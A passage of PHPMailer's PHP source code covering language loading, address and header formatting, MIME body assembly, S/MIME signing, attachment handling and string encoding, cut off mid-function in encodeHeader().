     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
